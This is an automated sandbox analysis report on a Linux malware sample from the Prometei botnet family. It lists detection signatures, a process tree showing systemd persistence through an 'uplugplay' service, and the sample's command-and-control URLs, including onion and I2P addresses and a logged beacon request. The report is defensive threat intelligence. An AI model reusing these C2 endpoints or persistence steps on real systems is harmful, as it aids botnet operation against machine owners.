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Linux Analysis Report
na.elf

Overview

General Information

Sample name:	na.elf
Analysis ID:	1649050
MD5:	0b9029c55fcd681efa62a48b706b3bb6
SHA1:	83c0f642625229f5f98c00789c601e509794afcf
SHA256:	1ee283ef8885dbfdefbd285b931cd9185bab41e7b4a5cee1304489d34c4451df
Tags:	elfuser-abuse_ch
Infos:

Detection

Prometei

Score:	100
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Prometei

Drops files in suspicious directories

Found Tor onion address

Sample deletes itself

Sample is packed with UPX

Creates hidden files and/or directories

ELF contains segments with high entropy indicating compressed/encrypted content

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "pgrep" command search for and/or send signals to processes

Executes the "rm" command used to delete files or directories

Executes the "systemctl" command used for controlling the systemd system and service manager

Executes the "uname" command used to read OS and architecture name

HTTP GET or POST without a user agent

Reads CPU information from /proc indicative of miner or evasive malware

Reads CPU information from /sys indicative of miner or evasive malware

Reads system information from the proc file system

Sample contains only a LOAD segment without any section mappings

Sample listens on a socket

Sample tries to set the executable flag

Suricata IDS alerts with low severity for network traffic

Uses the "uname" system call to query kernel version information (possible evasion)

Writes ELF files to disk

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1649050
Start date and time:	2025-03-26 13:33:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	na.elf
Detection:	MAL
Classification:	mal100.troj.evad.linELF@0/5@4/0

Warnings

VT rate limit hit for: http://xincgcfda.org/cgi-bin/p.cgi?r=0&auth=hash&i=N0341ZAX8D721YJ2&enckey=cSrKJBJF4wU7KtFtuDXft/wvD1kqq1-zDzwUAJiilbl2kqZnlRx8LXUKcJbX/287bPpYB1M8rmMTPbHWL73bIFj0cMr9O4FcDGhB/0mHu8P2Uj11tbNRHnfwJmLkdOuR219OaYe3LQNasR08EweVNmc2rMt4qx5Ma2sNQy2iKq8_

Runtime Messages

Command:	/tmp/na.elf
PID:	6231
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Starting... System install...OK
Standard Error:	Created symlink /etc/systemd/system/multi-user.target.wants/uplugplay.service /lib/systemd/system/uplugplay.service.

Process Tree

system is lnxubuntu20

na.elf (PID: 6231, Parent: 6155, MD5: 0b9029c55fcd681efa62a48b706b3bb6) Arguments: /tmp/na.elf

na.elf New Fork (PID: 6234, Parent: 6231)

sh (PID: 6234, Parent: 6231, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pgrep na.elf"

sh New Fork (PID: 6235, Parent: 6234)

pgrep (PID: 6235, Parent: 6234, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pgrep na.elf

na.elf New Fork (PID: 6240, Parent: 6231)

sh (PID: 6240, Parent: 6231, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pidof na.elf"

sh New Fork (PID: 6241, Parent: 6240)

pidof (PID: 6241, Parent: 6240, MD5: f58f67968fc50f1497f9ea9e9c22b6e8) Arguments: pidof na.elf

na.elf New Fork (PID: 6244, Parent: 6231)

sh (PID: 6244, Parent: 6231, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pgrep uplugplay"

sh New Fork (PID: 6245, Parent: 6244)

pgrep (PID: 6245, Parent: 6244, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pgrep uplugplay

na.elf New Fork (PID: 6248, Parent: 6231)

sh (PID: 6248, Parent: 6231, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pidof uplugplay"

sh New Fork (PID: 6249, Parent: 6248)

pidof (PID: 6249, Parent: 6248, MD5: f58f67968fc50f1497f9ea9e9c22b6e8) Arguments: pidof uplugplay

na.elf New Fork (PID: 6254, Parent: 6231)

sh (PID: 6254, Parent: 6231, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pgrep upnpsetup"

sh New Fork (PID: 6255, Parent: 6254)

pgrep (PID: 6255, Parent: 6254, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pgrep upnpsetup

na.elf New Fork (PID: 6258, Parent: 6231)

sh (PID: 6258, Parent: 6231, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pidof upnpsetup"

sh New Fork (PID: 6260, Parent: 6258)

pidof (PID: 6260, Parent: 6258, MD5: f58f67968fc50f1497f9ea9e9c22b6e8) Arguments: pidof upnpsetup

na.elf New Fork (PID: 6263, Parent: 6231)

sh (PID: 6263, Parent: 6231, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload"

sh New Fork (PID: 6264, Parent: 6263)

systemctl (PID: 6264, Parent: 6263, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

na.elf New Fork (PID: 6279, Parent: 6231)

sh (PID: 6279, Parent: 6231, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable uplugplay.service"

sh New Fork (PID: 6280, Parent: 6279)

systemctl (PID: 6280, Parent: 6279, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable uplugplay.service

na.elf New Fork (PID: 6284, Parent: 6231)

sh (PID: 6284, Parent: 6231, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl start uplugplay.service"

sh New Fork (PID: 6285, Parent: 6284)

systemctl (PID: 6285, Parent: 6284, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start uplugplay.service

systemd New Fork (PID: 6266, Parent: 6265)

snapd-env-generator (PID: 6266, Parent: 6265, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 6282, Parent: 6281)

snapd-env-generator (PID: 6282, Parent: 6281, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 6288, Parent: 1)

uplugplay (PID: 6288, Parent: 1, MD5: 0b9029c55fcd681efa62a48b706b3bb6) Arguments: /usr/sbin/uplugplay

uplugplay New Fork (PID: 6289, Parent: 6288)

uplugplay New Fork (PID: 6290, Parent: 6289)

sh (PID: 6290, Parent: 6289, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "/usr/sbin/uplugplay -Dcomsvc"

sh New Fork (PID: 6291, Parent: 6290)

uplugplay (PID: 6291, Parent: 6290, MD5: 0b9029c55fcd681efa62a48b706b3bb6) Arguments: /usr/sbin/uplugplay -Dcomsvc

uplugplay New Fork (PID: 6295, Parent: 6291)

sh (PID: 6295, Parent: 6291, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c hostnamectl

sh New Fork (PID: 6296, Parent: 6295)

hostnamectl (PID: 6296, Parent: 6295, MD5: b1245aa6d3c28b5d5fedb2d681d32eb9) Arguments: hostnamectl

uplugplay New Fork (PID: 6440, Parent: 6291)

sh (PID: 6440, Parent: 6291, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c uptime

sh New Fork (PID: 6441, Parent: 6440)

uptime (PID: 6441, Parent: 6440, MD5: 3ad70d8e33316ac713bf25c2ddf2fb14) Arguments: uptime

uplugplay New Fork (PID: 6444, Parent: 6291)

sh (PID: 6444, Parent: 6291, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "uname -a"

sh New Fork (PID: 6445, Parent: 6444)

uname (PID: 6445, Parent: 6444, MD5: 4ac7c634c5bec95753c480e9d421dcc2) Arguments: uname -a

systemd New Fork (PID: 6297, Parent: 1)

systemd-hostnamed (PID: 6297, Parent: 1, MD5: 2cc8a5576629a2d5bd98e49a4b8bef65) Arguments: /lib/systemd/systemd-hostnamed

dash New Fork (PID: 6496, Parent: 4331)

rm (PID: 6496, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.5CKcT7Q7ZV /tmp/tmp.HRC1kQVot4 /tmp/tmp.EXaWMqkFF1

dash New Fork (PID: 6497, Parent: 4331)

rm (PID: 6497, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.5CKcT7Q7ZV /tmp/tmp.HRC1kQVot4 /tmp/tmp.EXaWMqkFF1

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Prometei		No Attribution	https://blog.talosintelligence.com/2020/07/prometei-botnet-and-its-quest-for-monero.html https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html https://cujo.com/iot-malware-journals-prometei-linux/ https://twitter.com/IntezerLabs/status/1338480158249013250 https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/elf.prometei

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
na.elf	Linux_Trojan_Dofloo_ac3333d1	unknown	unknown	0x5bcdb:$a: 76 77 78 95 5C C9 95 79 7A C9 95 5C C9 41 42 43 5C C9 95 5C 44 45

Dropped Files

Source	Rule	Description	Author	Strings
/usr/sbin/uplugplay	Linux_Trojan_Dofloo_ac3333d1	unknown	unknown	0x5bcdb:$a: 76 77 78 95 5C C9 95 79 7A C9 95 5C C9 41 42 43 5C C9 95 5C 44 45

Memory Dumps

Source	Rule	Description	Author	Strings
6231.1.0000000000401000.00000000004f9000.r-x.sdmp	Linux_Hacktool_Flooder_1a4eb229	unknown	unknown	0x9beb:$a: F4 8B 45 E8 83 C0 01 89 45 F8 EB 0F 8B 45 E8 83 C0 01 89 45 F4 8B
6231.1.0000000000401000.00000000004f9000.r-x.sdmp	Linux_Hacktool_Flooder_f454ec10	unknown	unknown	0xb569:$a: 8B 45 EC 48 63 D0 48 8B 45 D0 48 01 D0 0F B6 00 3C 2E 75 4D 8B
6231.1.000000000052d000.0000000001575000.rw-.sdmp	Linux_Trojan_Dofloo_ac3333d1	unknown	unknown	0x7190db:$a: 76 77 78 95 5C C9 95 79 7A C9 95 5C C9 41 42 43 5C C9 95 5C 44 45
Process Memory Space: na.elf PID: 6231	JoeSecurity_Prometei	Yara detected Prometei	Joe Security
Process Memory Space: na.elf PID: 6231	JoeSecurity_Prometei_1	Yara detected Prometei	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-26T13:36:31.583843+0100	2803305	3	Unknown Traffic	192.168.2.23	35804	85.214.228.140	80	TCP

HTTP traffic detected: GET /cgi-bin/p.cgi?r=0&auth=hash&i=N0341ZAX8D721YJ2&enckey=cSrKJBJF4wU7KtFtuDXft/wvD1kqq1-zDzwUAJiilbl2kqZnlRx8LXUKcJbX/287bPpYB1M8rmMTPbHWL73bIFj0cMr9O4FcDGhB/0mHu8P2Uj11tbNRHnfwJmLkdOuR219OaYe3LQNasR08EweVNmc2rMt4qx5Ma2sNQy2iKq8_ HTTP/1.0Host: xincgcfda.org

Source: /usr/sbin/uplugplay (PID: 6291)

Socket: 0.0.0.0:89

Jump to behavior

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.23:35804 -> 85.214.228.140:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43

Source: global traffic

Source: global traffic	DNS traffic detected: DNS query: xinchaocgcfda.com
Source: global traffic	DNS traffic detected: DNS query: xinchaocgcfda.net
Source: global traffic	DNS traffic detected: DNS query: xincgcfda.org

Source: na.elf, uplugplay.12.dr	String found in binary or memory: http://152.36.128
Source: na.elf, 6231.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: http://152.36.128.18/cgi-bin/p.cgi
Source: na.elf, 6231.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: http://152.36.128.18/cgi-bin/p.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.oni
Source: na.elf, 6231.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: http://dummy.zero/cgi-bin/prometei.cgi
Source: na.elf, 6231.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: http://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi
Source: na.elf, uplugplay.12.dr	String found in binary or memory: http://upx.sf.net
Source: na.elf, 6231.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39248
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Dofloo_ac3333d1 Author: unknown
Source: 6231.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Hacktool_Flooder_1a4eb229 Author: unknown
Source: 6231.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Hacktool_Flooder_f454ec10 Author: unknown
Source: 6231.1.000000000052d000.0000000001575000.rw-.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Dofloo_ac3333d1 Author: unknown
Source: /usr/sbin/uplugplay, type: DROPPED	Matched rule: Linux_Trojan_Dofloo_ac3333d1 Author: unknown

Source: LOAD without section mappings

Program segment: 0x400000

Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Dofloo_ac3333d1 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 04664dc5ea14ddff5301e66c46d6795f1582c148b5cb621248424d015245c95e, license = Elastic License v2, threat_name = Linux.Trojan.Dofloo, fingerprint = a8f360e2a545e65b5f9f2273715c1a5008a0fe4f88f6e14becd6e69158aab409, id = ac3333d1-df88-459b-a411-00b4fc947f3f, last_modified = 2022-01-26
Source: 6231.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Hacktool_Flooder_1a4eb229 reference_sample = bf6f3ffaf94444a09b69cbd4c8c0224d7eb98eb41514bdc3f58c1fb90ac0e705, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Hacktool.Flooder, fingerprint = de076ef23c2669512efc00ddfe926ef04f8ad939061c69131a0ef9a743639371, id = 1a4eb229-a194-46a5-8e93-370a40ba999b, last_modified = 2021-09-16
Source: 6231.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Hacktool_Flooder_f454ec10 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 0297e1ad6e180af85256a175183102776212d324a2ce0c4f32e8a44a2e2e9dad, license = Elastic License v2, threat_name = Linux.Hacktool.Flooder, fingerprint = 2ae5e2c3190a4ce5d238efdb10ac0520987425fb7af52246b6bf948abd0259da, id = f454ec10-7a67-4717-9e95-fecb7c357566, last_modified = 2022-01-26
Source: 6231.1.000000000052d000.0000000001575000.rw-.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Dofloo_ac3333d1 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 04664dc5ea14ddff5301e66c46d6795f1582c148b5cb621248424d015245c95e, license = Elastic License v2, threat_name = Linux.Trojan.Dofloo, fingerprint = a8f360e2a545e65b5f9f2273715c1a5008a0fe4f88f6e14becd6e69158aab409, id = ac3333d1-df88-459b-a411-00b4fc947f3f, last_modified = 2022-01-26
Source: /usr/sbin/uplugplay, type: DROPPED	Matched rule: Linux_Trojan_Dofloo_ac3333d1 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 04664dc5ea14ddff5301e66c46d6795f1582c148b5cb621248424d015245c95e, license = Elastic License v2, threat_name = Linux.Trojan.Dofloo, fingerprint = a8f360e2a545e65b5f9f2273715c1a5008a0fe4f88f6e14becd6e69158aab409, id = ac3333d1-df88-459b-a411-00b4fc947f3f, last_modified = 2022-01-26

Source: classification engine

Classification label: mal100.troj.evad.linELF@0/5@4/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 4.24 Copyright (C) 1996-2024 the UPX Team. All Rights Reserved. $

Source: /usr/bin/pidof (PID: 6241)	Directory: //.	Jump to behavior
Source: /usr/bin/pidof (PID: 6249)	Directory: //.	Jump to behavior
Source: /usr/bin/pidof (PID: 6260)	Directory: //.	Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 6297)	Directory: <invalid fd (10)>/..	Jump to behavior

Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/6231/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/6231/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/6234/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/6234/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1582/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/3088/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/230/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/230/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/110/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/110/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/231/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/231/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/111/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/111/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/232/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/232/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1579/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/112/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/112/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/233/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/233/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1699/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/113/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/113/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/234/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/234/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1335/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1698/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/114/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/114/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/235/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/235/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1334/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1576/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/2302/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/115/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/115/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/236/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/236/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/116/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/116/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/237/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/237/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/117/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/117/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/118/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/118/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/910/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/910/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/6106/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/6106/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/119/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/119/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/912/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/912/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/10/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/10/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/2307/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/11/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/11/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/918/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/918/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/12/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/12/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/13/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/13/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/14/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/14/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/15/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/15/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/6245/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/6245/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/16/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/16/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/6244/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/17/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/17/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/18/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/18/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1594/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/120/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/120/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/121/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/121/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1349/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/1/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/122/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/122/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/243/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/243/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/123/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 6245)	File opened: /proc/123/cmdline	Jump to behavior

Source: /tmp/na.elf (PID: 6234)	Shell command executed: sh -c "pgrep na.elf"	Jump to behavior
Source: /tmp/na.elf (PID: 6240)	Shell command executed: sh -c "pidof na.elf"	Jump to behavior
Source: /tmp/na.elf (PID: 6244)	Shell command executed: sh -c "pgrep uplugplay"	Jump to behavior
Source: /tmp/na.elf (PID: 6248)	Shell command executed: sh -c "pidof uplugplay"	Jump to behavior
Source: /tmp/na.elf (PID: 6254)	Shell command executed: sh -c "pgrep upnpsetup"	Jump to behavior
Source: /tmp/na.elf (PID: 6258)	Shell command executed: sh -c "pidof upnpsetup"	Jump to behavior
Source: /tmp/na.elf (PID: 6263)	Shell command executed: sh -c "systemctl daemon-reload"	Jump to behavior
Source: /tmp/na.elf (PID: 6279)	Shell command executed: sh -c "systemctl enable uplugplay.service"	Jump to behavior
Source: /tmp/na.elf (PID: 6284)	Shell command executed: sh -c "systemctl start uplugplay.service"	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6290)	Shell command executed: sh -c "/usr/sbin/uplugplay -Dcomsvc"	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6295)	Shell command executed: sh -c hostnamectl	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6440)	Shell command executed: sh -c uptime	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 6444)	Shell command executed: sh -c "uname -a"	Jump to behavior

Source: /bin/sh (PID: 6235)	Pgrep executable: /usr/bin/pgrep -> pgrep na.elf	Jump to behavior
Source: /bin/sh (PID: 6245)	Pgrep executable: /usr/bin/pgrep -> pgrep uplugplay	Jump to behavior
Source: /bin/sh (PID: 6255)	Pgrep executable: /usr/bin/pgrep -> pgrep upnpsetup	Jump to behavior

Source: /usr/bin/dash (PID: 6496)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.5CKcT7Q7ZV /tmp/tmp.HRC1kQVot4 /tmp/tmp.EXaWMqkFF1			Jump to behavior
